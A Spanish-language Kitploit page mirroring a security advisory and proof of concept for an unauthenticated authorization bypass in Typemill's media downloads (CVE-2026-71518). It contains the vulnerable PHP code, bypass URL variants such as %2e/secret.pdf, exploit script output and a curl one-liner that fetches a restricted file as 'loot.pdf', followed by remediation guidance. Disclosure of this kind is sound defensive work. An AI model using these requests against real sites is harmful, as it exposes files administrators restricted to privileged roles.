Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-71518 — Advisory y PoC para un bypass de autorización no autenticado en las descargas de medios de Typemill, mediante variantes de URL con rutas equivalentes para acceder a archivos restringidos por rol. | Kitploit
Herramientas/GitHubGitHub/ilhomjonr/cve-2026-71518
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Advisory y PoC para un bypass de autorización no autenticado en las descargas de medios de Typemill, mediante variantes de URL con rutas equivalentes para acceder a archivos restringidos por rol.

Ver Repositorio
111hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-71518 — Bypass de Autorización sin Autenticación en Typemill

Las variantes de URL con rutas equivalentes omiten la descarga de medios restringidos por rol

La restricción se basa en la ruta de solicitud sin procesar; el archivo se lee desde la ruta resuelta por el sistema operativo — ambas no coinciden

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

De un vistazo · Resumen · Causa raíz · Cadena de ataque · Exploit · Remediación · Cronología


📋 De un vistazo

ID CVECVE-2026-71518
Productotypemill/typemill — Typemill (CMS PHP de archivos planos, Slim 4)
Afectadotodas las versiones < 2.26.0 (verificado en 2.25.0, commit 8f3901c)
Corregido en2.26.0
DebilidadCWE-863 (Autorización Incorrecta) · CWE-639 (Omisión de Autorización Mediante Clave Controlada por el Usuario)
CVSS v3.17.5 — Alta · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — Alta
VectorRed · sin autenticación · sin interacción del usuario
ImpactoDescarga no autenticada de archivos multimedia que un administrador restringió a un rol privilegiado
InvestigadorIlhomjon Rustamov (@IlhomjonR)

🔎 Resumen

Typemill permite a un administrador restringir archivos multimedia individuales a un rol de usuario específico mediante media/files/filerestrictions.yaml. Se supone que la ruta pública de descarga respeta esa restricción, pero comprueba la restricción contra la ruta de solicitud sin procesar mientras sirve los bytes desde la ruta resuelta por el sistema de archivos. Dado que el mismo archivo tiene muchas formas de ruta equivalentes (./name, //name, %2e/name), un atacante elige una variante que no coincide con la clave de restricción pero que aun así se resuelve al mismo archivo en disco.

La ruta no lleva middleware de autenticación, por lo que el resultado es una descarga totalmente no autenticada de archivos que estaban explícitamente bloqueados para un rol.


🧬 Causa raíz

La ruta de descarga es pública — no tiene middleware de autenticación:

// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

Dentro de system/typemill/Controllers/ControllerWebDownload.php, la decisión de control de acceso y la lectura del archivo usan dos representaciones diferentes de la misma ruta:

// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() solo rechaza una secuencia literal .. — no normaliza ./ ni //, y no rechaza los equivalentes codificados en porcentaje. Por lo tanto, la clave de restricción y el archivo que realmente se lee quedan desincronizados:

Ruta de solicitud¿Coincide la clave de restricción?Archivo resuelto en discoResultado
/media/files/secret.pdf✅ sísecret.pdf🔒 bloqueado (302 → login)
/media/files/./secret.pdf❌ nosecret.pdf🟢 servido (200)
/media/files//secret.pdf❌ nosecret.pdf🟢 servido (200)
/media/files/%2e/secret.pdf❌ nosecret.pdf🟢 servido (200)

El error es el clásico patrón de "decisión de autorización y acceso al recurso basados en cadenas diferentes y controlables por el atacante" (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] también permanece sin procesar bajo Apache, por lo que esto no es específico del servidor.


⛓️ Cadena de ataque

flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. El administrador sube un archivo privado y lo restringe a un rol en filerestrictions.yaml.
  2. La URL canónica se bloquea correctamente para los usuarios anónimos.
  3. El atacante solicita una variante de ruta equivalente → la clave de restricción no coincide, pero el archivo igualmente se resuelve → la descarga se completa sin ninguna credencial.

💥 Exploit

exploit/exploit.py reproduce el problema de principio a fin contra un contenedor de prueba local. (1) Hace que el "admin" publique un archivo privado restringido al rol editor, (2) confirma que la URL canónica está bloqueada para un usuario anónimo y (3) descarga el mismo archivo a través de cada variante de ruta equivalente.

# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

Salida esperada:

[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

Comando de una sola línea contra cualquier host vulnerable (solo pruebas autorizadas):

curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

Evidencia del PoC


🛠️ Remediación

  • Actualice a Typemill 2.26.0 o posterior.
  • La solución correcta es canonicalizar/normalizar la ruta de solicitud una sola vez y luego usar ese único valor canónico para ambas cosas: la búsqueda de la restricción y la lectura del archivo — de modo que la clave de control de acceso y el recurso servido nunca puedan diferir.
  • Defensa en profundidad: resuelva con realpath() y confirme que el archivo está contenido dentro del directorio base de medios antes de leerlo, y rechace los separadores de ruta codificados en porcentaje.

🗓️ Cronología

Descargar herramienta